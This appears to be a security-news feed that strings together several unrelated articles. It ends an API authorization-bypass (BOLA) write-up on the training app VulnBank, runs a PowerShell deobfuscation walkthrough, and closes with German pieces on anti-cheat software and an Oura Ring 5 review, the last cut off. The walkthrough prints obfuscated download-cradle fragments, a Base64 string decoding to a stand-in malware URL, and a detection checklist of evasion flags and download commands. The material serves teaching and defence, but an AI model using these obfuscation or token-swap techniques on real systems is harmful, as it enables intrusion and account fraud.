alt="" src="https://cdn-images-1.medium.com/max/1024/1*EKOsjOROq-GWkyoTOSyHNw.png"><figcaption>Jhonny Card Request in Burp</figcaption></figure><h3><strong>User 2 — Alex</strong></h3><p>Same setup:</p><ul><li>A fresh virtual card of <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*A-bryCWIEKgcBWvJSyHgGQ.png"><figcaption>Alex’s Virtual Card</figcaption></figure><ul><li>Funded with $100.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*H-zuUIktIse3J_FkKY4iRg.png"><figcaption>Funding Alex’s card</figcaption></figure><ul><li>And the same treatment — captured the request and sent it to Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhtrbarCUBXaggWB7u-YBw.png"><figcaption>Alex’s Card Request in Burp</figcaption></figure><p>Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.</p><h3>Step One: Does the App Even Check Who You Are?</h3><p>Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkZ3P_vd-a31Bxve6I1kMw.png"><figcaption>Token error (Authentication enabled)</figcaption></figure><p><strong>401 Unauthorized: "Token is missing."</strong></p><p>Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check <strong><em>which</em> </strong>authenticated user is making the request, or just <strong><em>that</em> </strong>one is?</p><h3>Step Two: The Swap</h3><p>This is the actual test, and it’s almost anticlimactic in how simple it is.</p><p>I took <strong>Jhonny’s</strong> valid token and used it to fund <strong>Alex’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pM9M7X-q1bMfJng1TcsNqA.png"><figcaption>Funding Alex’s card with Jhonny’s Token</figcaption></figure><p><strong>200 OK.</strong> The card funded successfully with Jhonny's session authorizing a change to Alex's card.</p><p>Then I reversed it, <strong>Alex’s</strong> token, aimed at <strong>Jhonny’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5Qqk7A4XKvrvCkqyXgRFQ.png"><figcaption>Funding Jhonny’s card with Alex’s Token</figcaption></figure><p><strong>200 OK</strong> again. Same result, opposite direction.</p><p>Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the card they were funding. It simply processed whatever <strong>card_id </strong>showed up in the URL, against whichever authenticated user happened to be making the call.</p><h3>Why This Isn’t “Just a Feature”</h3><p>The first pushback any BOLA finding gets is: <strong><em>“Couldn’t this just be an intentional transfer feature?”</em></strong></p><p>It’s a fair question, and worth addressing directly.</p><p>The answer is <strong>NO</strong>, for a few concrete reasons:</p><ul><li>There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.</li><li>Neither Jhonny nor Alex received any notification or gave any consent.</li><li>The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.</li><li>Both requests used each user’s <em>own</em> main balance and <em>own</em> token throughout, nothing about the flow resembled a designed transfer mechanism.</li></ul><p>A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.</p><h3>The Fix</h3><p>The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:</p><ul><li>Every object-level query needs an explicit ownership check tied to the authenticated session: <strong>WHERE card_id = ? AND user_id = ?</strong></li><li>Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint</li><li>Make cross-account testing a standard part of QA and code review: test with <strong>two different authenticated accounts</strong> against each other’s objects, not just each account against its own.</li></ul><h3>The Takeaway</h3><p>BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.</p><p>In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.</p><p>Authentication tells a server <em>who</em> is asking. Authorization is the separate and often forgotten question of <strong><em>what they’re allowed to ask for?</em></strong>. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.</p><p><em>This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a3bfc069a8b9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-funded-a-strangers-bank-card-with-my-own-money-and-that-s-exactly-the-problem-a3bfc069a8b9">I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics]]></title>
<description><![CDATA[A full and detailed insight into CLI forensics, going into depth following a TryHackMe labSource: TechFusionFor incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a...]]></description>
<link>https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/</guid>
<pubDate>Sat, 18 Jul 2026 11:21:48 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>A full and detailed insight into CLI forensics, going into depth following a TryHackMe lab</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*z2_rLeW29e_A1-URgEyBcw.jpeg"><figcaption>Source: TechFusion</figcaption></figure><p>For incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a harmless administrative automation tool, or is it an advanced information stealer scraping the credential caches of every corporate browser?</p><p>I recommend you first walk through this article and afterwards complete the TryHackMe lab <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9"><strong>Obfuscation: The Egg Shell File</strong></a>.</p><p>The core purpose of this tactical playbook is to provide you with a <strong>highly comprehensive, real-world analytical framework</strong> so you can confidently dive into the live lab environment (don’t, i say DON’T worry about committing every single execution flag or decoding syntax to memory; the structural muscle memory will lock in during the hands-on exercises).</p><p><strong>Let’s cut the fluff and begin:</strong></p><p>In modern security operations, the discipline of malware analysis bridges the gap between passive defense and active threat hunting. Using <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9">TryHackMe’s foundational lab</a> featuring <strong>real-world PowerShell obfuscation</strong> strings, this walkthrough guides defenders through the surgical progression required to size up a hostile payload, calculate its technical attributes, map its internal compiled structure, and decrypt its <strong>runtime behavior</strong> safely.</p><h3>📋 The Script Triage Checklist</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fVQzacpYWWO-vFYN.jpg"><figcaption>Source: BitLyft</figcaption></figure><p>When you capture a suspicious script execution string from your <strong>SIEM</strong> (Security Information and Event Management) <strong>logs</strong>, proceed with these steps immediately:</p><ul><li><strong>Isolate and Copy Safely:</strong> Transfer the raw text string into a completely disconnected text editor inside a designated analysis virtual machine.</li><li><strong>Identify the Execution Flags:</strong> Search for evasion switches like -NoP (No Profile), -W Hidden (Window Hidden), or -Enc (Encoded Command), which indicate deliberate bypass actions.</li><li><strong>Locate Network Anchors:</strong> Scan the text string for markers like DownloadString, DownloadFile, curl, or iwr that hint at secondary external downloads.</li><li><strong>Preserve Casing:</strong> Do not run lowercase or uppercase find-and-replace scripts across your sample yet; case variance is often structurally critical to decoding algorithms.</li></ul><h3>Deep Dive: Stripping the Camouflage</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*6nmJ8HdVrRHV92qrBTYjGQ.png"><figcaption><a href="https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812">https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812</a></figcaption></figure><p>Let’s look at an actual example of an <strong>obfuscated script layer</strong> captured directly from an initial access vector payload log.</p><blockquote><strong><em>What to look for in the image:</em></strong><em> Notice how the raw command string uses a combination of string splitting, character swapping, and nested script blocks. Threat actors do this </em><strong><em>to bypass static string matching</em></strong><em> (signatures) used by endpoint detection engines. By analyzing the structural markers, we can map out the exact unpacking routine.</em></blockquote><h4>Layer 1: Undoing String Concatenation</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0nXU-f5TINGOWU1Ce-ffw.png"><figcaption>GPT Images 2.0 generated photo</figcaption></figure><p>Attackers frequently break apart their critical strings using addition operators or variable insertions to stop simple pattern scanners.</p><pre># Obfuscated string snippet<br>$a = "Down"; $b = "load"; $c = "String"<br>. ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )</pre><p><strong>The Fix:</strong> You don’t have to guess what this does. By loading the script into an isolated PowerShell CLI and replacing the aggressive execution operator (like . or Invoke-Expression / IEX) with a safe print directive like Write-Output, the environment itself will assemble the string for you:</p><pre># Safe evaluation technique<br>Write-Output ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )<br># Output result: DownloadString</pre><h4>Layer 2: Demangling Character Shuffling</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m92GtATfKF2yD6KmfMs2HQ.png"><figcaption>GPT Images 2.0 generated image</figcaption></figure><p>Another popular mechanism involves using <strong>format strings</strong> to re-order components out of sequence at runtime:</p><pre>"{2}{0}{1}" -f 'Net.','WebClient','New-Object </pre><p>The -f operator acts as an indexing map. To decrypt it manually:</p><ul><li>Position {2} grabs the 3rd element: New-Object</li><li>Position {0} grabs the 1st element: Net.</li><li>Position {1} grabs the 2nd element: WebClient</li></ul><p>When evaluated sequentially by the command pipeline, it structures clean and functional telemetry: New-Object Net.WebClient.</p><h4>Layer 3: Defeating Base64 and XOR Rings</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2cEgUTPr8IvHXOAQhUBqjA.png"><figcaption>GPT Images 2.0 generated figure</figcaption></figure><p>The final boss of script obfuscation is almost always an <strong>encoded byte block</strong>. Base64 is easily recognizable by its standard alphanumeric character set and trailing padding markers (=).</p><p>To quickly unwrap these blocks without running the malicious code:</p><ul><li>Copy the raw payload block inside the command string.</li><li>Load the payload directly into <strong>CyberChef</strong> (the open-source utility for security operations).</li><li>Chain together the <strong>From Base64</strong> recipe followed by <strong>Decode Text (UTF-16LE)</strong>.</li></ul><pre>Input:  aAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AbgBlAHQALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA<br>Output: http://malware.net/payload.exe</pre><p>By working backward through these layers, you quickly isolate the final <strong>Indicators of Compromise (IoCs) </strong>— such as the secondary payload download URL or target staging paths — allowing your security infrastructure to immediately blacklist the server across the enterprise.</p><h3>🧠 Strategic Takeaway</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RnNGqsHcsh-4wOWfT3Lkag.jpeg"><figcaption>(yayy)</figcaption></figure><p>The <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9"><strong>Obfuscation: The Egg Shell File</strong></a> analysis framework underscores a foundational truth of computer network defense: Malware cannot accomplish its mission without leaving a structural or behavioral footprint inside operational logs.</p><blockquote>Whether it is a distinct jump in character selection counts, an unexpected system variable concatenation flag, or a sudden burst of hidden network invocation arguments executed entirely from background windows, an <strong>obfuscated script pipeline</strong> will always reveal its true payload target under systematic scrutiny.</blockquote><p>By utilizing platforms like <strong>CyberChef</strong> to strip back multi-layered <strong>Base64 and XOR encoding architectures</strong> and verifying those outputs within isolated environments, defenders completely eliminate the guesswork from administrative code reviews.</p><p>Go log into <strong>the TryHackMe room</strong>, reverse the nested string layout structures of the script sample, map out the true operational strings, and transform your defensive triage into an optimized playbook.</p><h3>📈 Master the Art of System Forensics &amp; Threat Intelligence</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*SLfKdWyn-nVH4_for38UxQ.jpeg"><figcaption>The author</figcaption></figure><p>Generic security training <strong>completely collapses</strong> when sophisticated threat groups deploy obfuscated, packed, and tailored payloads across your endpoints.</p><p>To ensure you never miss an in-depth threat intelligence playbook pulling back the curtain on advanced binary analysis, active threat hunting, and modern defense frameworks:</p><ul><li><strong>Follow Pop123 on Medium</strong> for immediate notifications on all newly published technical deep-dives, infrastructure hardening playbooks, and reverse-engineering guides.</li><li><strong>Explore my Security and Machine Learning Projects on </strong><a href="https://github.com/pop123-ux"><strong>GitHub</strong></a></li><li><strong>Subscribe to direct email updates</strong> by clicking the envelope icon (✉️) right next to the follow button so these critical tactical breakdowns land straight in your inbox.</li></ul><p><em>Thank you for reading. This article was entirely written by Pop123. If you found this technical breakdown of the malware analysis matrix valuable, consider leaving a clap and sharing your thoughts, configuration questions, or analytical feedback in the responses below, I am as always open to further discussing the interesting topics!</em></p><p><strong>For collaborations and inquiries</strong>: alexandrupp55@gmail.com</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d96840b5b5ef" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics-d96840b5b5ef">Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[(g+) Anti-Cheating-Software: Spielen mit Systemrechten - eine unterschätzte Gefahr]]></title>
<description><![CDATA[Moderne Computerspiele greifen tief ins Betriebssystem ein, um Cheater zu stoppen. Doch wann wird der Schutz selbst zum Sicherheitsrisiko? Ein Deep Dive von Michael Bröde (Software, Spiele)]]></description>
<link>https://tsecurity.de/de/3677658/it-nachrichten/g-anti-cheating-software-spielen-mit-systemrechten-eine-unterschaetzte-gefahr/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677658/it-nachrichten/g-anti-cheating-software-spielen-mit-systemrechten-eine-unterschaetzte-gefahr/</guid>
<pubDate>Sat, 18 Jul 2026 10:02:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Moderne Computerspiele greifen tief ins Betriebssystem ein, um Cheater zu stoppen. Doch wann wird der Schutz selbst zum Sicherheitsrisiko? Ein Deep Dive von Michael Bröde (<a href="https://www.golem.de/specials/software/">Software</a>, <a href="https://www.golem.de/specials/games/">Spiele</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=210822&amp;page=1&amp;ts=1784361602" alt="" width="1" height="1">]]></content:encoded>
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<title><![CDATA[Oura Ring 5 im Test: Ein Durchbruch bei den Smart-Ringen]]></title>
<description><![CDATA[Mike Sawh



Auf einen Blick



Pro




Unglaublich schlank und leicht



Verbesserte Akkulaufzeit



Verarbeitungsqualität und Farbauswahl



Die Begleit-App ist nach wie vor die beste




Kontra




leichte Preiserhöhung



Erfordert ein Abonnement




Fazit



Der Oura Ring 5 ist der elegantes...]]></description>
<link>https://tsecurity.de/de/3677423/it-security-nachrichten/oura-ring-5-im-test-ein-durchbruch-bei-den-smart-ringen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677423/it-security-nachrichten/oura-ring-5-im-test-ein-durchbruch-bei-den-smart-ringen/</guid>
<pubDate>Sat, 18 Jul 2026 06:07:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.02.png?w=1024" alt="Oura Ring 5" class="wp-image-4197758" width="1024" height="582" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<h2 class="wp-block-heading">Auf einen Blick</h2>



<h3 class="wp-block-heading">Pro</h3>



<ul class="wp-block-list">
<li>Unglaublich schlank und leicht</li>



<li>Verbesserte Akkulaufzeit</li>



<li>Verarbeitungsqualität und Farbauswahl</li>



<li>Die Begleit-App ist nach wie vor die beste</li>
</ul>



<h3 class="wp-block-heading">Kontra</h3>



<ul class="wp-block-list">
<li>leichte Preiserhöhung</li>



<li>Erfordert ein Abonnement</li>
</ul>



<h3 class="wp-block-heading">Fazit</h3>



<p class="wp-block-paragraph">Der Oura Ring 5 ist der eleganteste und unauffälligste Smart-Ring, den Sie tragen können, und wird von einer der besten Begleit-Apps der Branche unterstützt. Für diejenigen, die mit dem Aussehen und der Haptik des nach wie vor großartigen Oura Ring 4 zufrieden sind, ist er aber kein unbedingt notwendiges Upgrade.</p>



<p class="wp-block-paragraph">Der Oura Ring 5 ist ein überraschendes Update des besten Smart-Rings auf dem Markt. Alle Gerüchte deuteten auf einen Release gegen Ende 2027 hin, doch Oura überraschte alle, indem das Unternehmen sein neues Modell über ein Jahr früher auf den Markt brachte.</p>



<p class="wp-block-paragraph">Für den Ring 5 ist das Ziel klar: die Hardware des Smart-Rings noch kleiner zu gestalten, ohne dabei Kompromisse bei der Leistung – einschließlich der Akkulaufzeit – einzugehen.</p>



<p class="wp-block-paragraph">Ich bin seit Langem Nutzer des Oura-Rings und habe auch so gut wie alle seine Konkurrenten getestet. Hat der Oura Ring 5 mehr zu bieten als nur ein kleineres Design? Um das herauszufinden, trage ich ihn nun seit fast einem Monat.</p>



<h2 class="wp-block-heading">Design &amp; Verarbeitung</h2>



<ul class="wp-block-list">
<li>40 Prozent kleineres Design</li>



<li>Mit einer kratzfesteren Beschichtung</li>



<li>In 6 Farben erhältlich</li>
</ul>



<p class="wp-block-paragraph">Die wichtigste Neuigkeit ist, dass der Oura Ring 5 kleiner ist als <a href="https://www.pcwelt.de/article/2618869/oura-ring-4-im-test.html" target="_blank">der Oura Ring 4</a>. Er ist um 40 Prozent kleiner – das ist also nicht nur eine geringfügige Verkleinerung, und der Unterschied ist noch deutlicher, wenn man ihn mit dem klobigen <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html#" target="_blank">Oura Ring 4 Ceramic Edition</a> vergleicht.</p>



<p class="wp-block-paragraph">Kleiner bedeutet auch leichter: Das Gewicht ist von 3,3–5,2 Gramm (je nach benötigter Größe) auf nur noch 2 Gramm beim leichtesten Ring 5 gesunken. Die Breite hat sich von 7,9 Millimetern auf 6,09 Millimeter verringert, der Ring ist also schon einmal schlanker.</p>



<p class="wp-block-paragraph">Ich habe den Ring 5 neben die Standard- und Keramik-Versionen des Oura Ring 4 sowie eine Reihe anderer Smart-Ringe gelegt. Sie können sofort erkennen, wie sehr der Ring 5 an der Hand weniger auffällt als frühere Modelle und die Konkurrenzprodukte.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.11.png?w=1024" alt="Oura Ring 5" class="wp-image-4197759" width="1024" height="570" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Trotz der deutlich geringeren Dicke blieb meine Ringgröße dieselbe wie bei den bisherigen Oura-Modellen. Ich konnte dennoch eine gute Passform erzielen, sodass der Ring nicht zu sehr am Finger hin- und herrutschte.</p>



<p class="wp-block-paragraph">Der Ring besteht nach wie vor aus Titan, sodass Sie ein Produkt erhalten, das leicht und dennoch strapazierfähig ist. Derzeit ist nur ein Titanmodell erhältlich, sodass diejenigen, die auf einen Oura Ring 5 in Keramik hoffen, vorerst leer ausgehen – allerdings könnte ein solches Modell in Zukunft auf den Markt kommen.</p>



<p class="wp-block-paragraph">Oura gibt an, eine härtere PVD-Beschichtung zu verwenden, um die Kratzfestigkeit des Rings zu verbessern. Ich trage ihn nun seit einigen Wochen, und obwohl er nicht gänzlich immun gegen Kratzer ist, weist er noch keine nennenswerten Spuren davon auf. Der Ring 4 aus Keramik ist nach wie vor die beste Wahl, um Kratzer zu vermeiden.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.15.png?w=1024" alt="Oura Ring 5" class="wp-image-4197760" width="1024" height="570" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Was Farben und Größen angeht, stehen sechs Farben zur Auswahl. Ich habe die Ausführung in gebürstetem Silber getestet, die einen dezenteren Silber-Look aufweist als der bisherige silberne Oura Ring. Meiner Meinung nach verleiht dies dem Ring ein zurückhaltendes und dennoch sehr elegantes Aussehen.<br></p>



<p class="wp-block-paragraph">Zu den weiteren Farben gehören Schwarz und Silber (die günstigere Option darstellen) sowie Gold, Stealth (mattschwarz) und das brandneue „Deep Rose“, das einen leicht kupferfarbenen Schimmer aufweist. Die Größen reichen von 6 bis 13, was eine Abweichung gegenüber den für den Ring 4 verfügbaren Größen darstellt.</p>



<p class="wp-block-paragraph">Wie bei den Vorgängermodellen können Sie ein kostenloses Größenbestimmungsset bestellen, um sicherzustellen, dass Sie die optimale Passform für die Datenerfassung erhalten.</p>



<p class="wp-block-paragraph">Während Oura für den Ring 4 ein Ladecase eingeführt hat, wird der Ring 5 weiterhin nur mit dem Ladegerät im Dock-Stil ausgeliefert. Das Ladecase ist die zusätzlichen <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html#" target="_blank">109 Euro</a> durchaus wert, da Sie das Gerät damit bis zu fünf Mal aufladen können, egal wo Sie sich gerade befinden – allerdings muss es sich um das neue Modell und die richtige Größe für Ihren Ring handeln.</p>



<h2 class="wp-block-heading">Fitness &amp; Tracking</h2>



<ul class="wp-block-list">
<li>Erfasst dieselben Messwerte wie der Oura Ring 4</li>



<li>Überarbeitete Sensoren zur Verbesserung der Erfassungsgenauigkeit</li>



<li>Für den vollen Zugriff auf die App ist ein Abonnement erforderlich</li>
</ul>



<p class="wp-block-paragraph">Im Kern haben sich die Hardware des Ring 5 und die Funktionen zur Überwachung Ihrer Messwerte nicht wesentlich verändert. Im Inneren des Rings befinden sich zwei Fotodetektoren, zwei Sätze mit je drei LEDs, ein Temperatursensor sowie ein Beschleunigungsmesser zur Erfassung von Bewegungen und zur Erkennung von Schlafphasen.</p>



<p class="wp-block-paragraph">All dies ermöglicht es dem Ring 5, Daten wie Schritte, Bewegung, Herzfrequenz, Schlaf, Stress sowie die für Oura zentralen Kennzahlen zu Bereitschaft und Belastbarkeit zu messen. Diese Sensoren wurden überarbeitet, um die Genauigkeit im Vergleich zum Ring 4 in einigen Bereichen zu verbessern.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.02.png?w=1024" alt="Oura Ring 5" class="wp-image-4197758" width="1024" height="582" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Die Daten werden in der Oura-Begleit-App gespeichert, die nach wie vor als Marktführer unter den Smart-Ringen gilt. Vor allem wenn es darum geht, eine wachsende Menge an Daten und Erkenntnissen auf ansprechende Weise darzustellen.</p>



<p class="wp-block-paragraph">Auf einige Funktionen können Sie kostenlos zugreifen, doch um den Besitz des Geräts lohnenswert zu machen, müssen Sie weiterhin das Monats- oder Jahresabonnement bezahlen.</p>



<p class="wp-block-paragraph">Zudem bietet die App nützliche Integrationen, darunter Strava, Headspace und Clue. Diese helfen dabei, die Lücken bei den Funktionen zu schließen, die der Oura nicht bieten kann – was keine besondere Stärke des Oura-Ökosystems ist.</p>



<p class="wp-block-paragraph">Auf dem Hauptbildschirm „Today“ erhalten Sie Updates zu Ihren täglichen Bereitschaftswerten oder eine Erinnerung daran, wann Sie sich auf das Zubettgehen vorbereiten sollten. Klicken Sie auf das Dropdown-Menü, und es gibt noch viel mehr zu entdecken. Etwa das Protokollieren von Mahlzeiten oder die Nutzung des Symptom-Radars.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.45.png?w=1024" alt="Oura Ring 5" class="wp-image-4197761" width="1024" height="561" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Neue Softwarefunktionen wie „Health Radar“ werden zunächst für Nutzer in den USA eingeführt. Diese Funktion baut auf dem „Symptom Radar“ von Oura auf, um frühe Anzeichen einer Erkrankung zu erkennen. Auch Blutdrucksignale werden in bestimmten Regionen eingeführt. Zwar können Sie mit Ihrem Oura-Ring keinen Blutdruck messen, doch das Gerät verfolgt Trends in Ihren kardiovaskulären Mustern anhand der Daten, die seine optischen Sensoren während der Nacht erfassen.</p>



<p class="wp-block-paragraph">Diese Softwarefunktionen werden sowohl Nutzern des Oura Ring 5 als auch des Oura Ring 4 angeboten, sodass bestehende Besitzer in dieser Hinsicht möglicherweise keinen Anlass für ein Upgrade sehen.</p>



<p class="wp-block-paragraph">Bei der Erfassung der täglichen Schritte leistet der Oura solide Arbeit. Ich habe ihn tagsüber zusammen mit zwei anderen Trackern getragen, und die täglichen Schrittzahlen lagen an den meisten Tagen sehr nahe beieinander.</p>



<p class="wp-block-paragraph">Was die verbesserte Herzfrequenzmessung angeht, sollten Sie eine leichte Verbesserung bei der Trainingsherzfrequenz sowie bei der erholungsbasierten Erfassung während der Schlafüberwachung feststellen.</p>



<p class="wp-block-paragraph">Betrachtet man die Herzfrequenz, so entsprachen die Werte während des Schlafs der zuverlässigen Schlaffrequenzmessung eines Garmin-Geräts und eines weiteren Smart-Rings, den ich parallel dazu trug. Ähnlich verhielt es sich bei den Tagesdurchschnittswerten.</p>



<p class="wp-block-paragraph">Was die Herzfrequenzmessung während des Trainings angeht, <a href="https://www.pcwelt.de/article/3127913/smartwatch-vs-smart-ring-unterschiede-vorteile.html" target="_blank">so war dies schon immer ein Problem für Smart-Ringe im Allgemeinen</a> und nicht nur für Oura. Ganz einfach, weil der Ring dazu neigt, sich zu verschieben, wenn man schwitzt und sich bewegt. Ich würde dennoch sagen, dass die Herzfrequenzmessung während des Trainings keine Stärke von Oura ist.</p>



<p class="wp-block-paragraph">Es wurde jedoch eine Lösung entwickelt, um die Situation zu verbessern. Nun können Sie die Live-Herzfrequenzdaten von einem anderen Wearable teilen. Das bedeutet natürlich, dass Sie ein weiteres Gerät besitzen müssen, aber wenn Sie bereits eines haben, können Sie so an diese besseren Trainingsdaten gelangen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.57.png?w=1024" alt="Oura Ring 5" class="wp-image-4197762" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Dann ist da noch der Schlaf, der seit jeher zu den Stärken von Oura zählt. Das liegt nicht nur daran, dass es ein sehr bequemer Ring ist, den man mit ins Bett nehmen kann – was beim Ring 5 sogar noch mehr der Fall ist.</p>



<p class="wp-block-paragraph">Neben den Schlafwerten erhalten Sie Schlafzusammenfassungen, eine detailliertere Aufschlüsselung des Schlafs sowie Kernkennzahlen wie Schlafphasen und Schlafdauer.</p>



<p class="wp-block-paragraph">Diese Einblicke waren sehr aussagekräftig, insbesondere hinsichtlich der Erfassung des Zeitpunkts, zu dem ich eingeschlafen bin, sowie der angezeigten Zeiten, die ich in der REM-Phase und im Tiefschlaf verbracht habe. Oura zeigt Ihnen zudem, wie gut Sie dabei sind, Ihren Schlafmangel aufzuholen, und inwieweit Sie im Einklang mit Ihrer natürlichen inneren Uhr sind.</p>



<p class="wp-block-paragraph">Viele dieser Kennzahlen bilden die Grundlage für die wichtigsten Erkenntnisse von Oura zu Bereitschaft und Belastbarkeit. Ersteres wurde von anderen Herstellern von Wearables unter ähnlichen oder anderen Namen übernommen.</p>



<p class="wp-block-paragraph">Die „Readiness“-Funktion soll Ihnen ganz einfach anzeigen, ob Sie genug Energie haben, um einen anstrengenden Tag zu bewältigen. Ich habe die „Readiness“-Werte mit ähnlichen Auswertungen von Garmin und Ultrahuman verglichen, und diese lagen nur wenige Punkte von den Oura-Werten ab.</p>



<p class="wp-block-paragraph">Die Erkenntnisse zur Belastbarkeit beziehen sich auf das Verständnis Ihrer Fähigkeit, sich von körperlich anstrengenden oder stressigen Phasen Ihrer Woche zu erholen. Dabei werden Ihre Erholung während der Nacht und des Tages sowie Ihre Stressbelastung im Laufe des Tages berücksichtigt.</p>



<p class="wp-block-paragraph">Sie erfahren dann, ob Sie eine hohe Belastbarkeit gegenüber diesen Faktoren aufweisen oder Schwierigkeiten haben, sich wieder zu erholen.</p>



